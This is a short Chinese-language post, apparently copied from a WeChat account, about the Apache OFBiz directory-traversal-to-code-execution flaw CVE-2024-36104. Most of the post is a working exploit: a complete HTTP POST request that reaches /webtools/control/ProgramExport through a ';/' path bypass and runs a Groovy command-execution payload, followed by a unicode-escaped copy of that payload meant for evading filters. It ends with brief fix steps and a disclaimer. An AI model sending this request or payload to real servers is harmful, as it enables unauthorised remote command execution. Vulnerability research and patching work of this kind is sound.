Apache OFBiz 目录遍历致代码执行漏洞（CVE-2024-36104）

Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。

2024年5月，官方发布新版本修复了Apache OFBiz 目录遍历致代码执行漏洞，攻击者可构造恶意请求控制服务器。建议尽快修复漏洞。

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443

groovyProgram=throw+new+Exception('id'.execute().text);

unicode格式

groovyProgram=u0074u0068u0072u006fu0077u0020u006eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006fu006eu0028u0027u0069u0064u0027u002eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002eu0074u0065u0078u0074u0029u003b

修复方案

1、禁止对 /webtools/control/ProgramExport路径访问

2、升级至最新版本

仅限交流学习使用，如您在使用本工具或代码的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。

原文始发于微信公众号（柠檬赏金猎人）：Apache OFBiz 目录遍历致代码执行漏洞（CVE-2024-36104）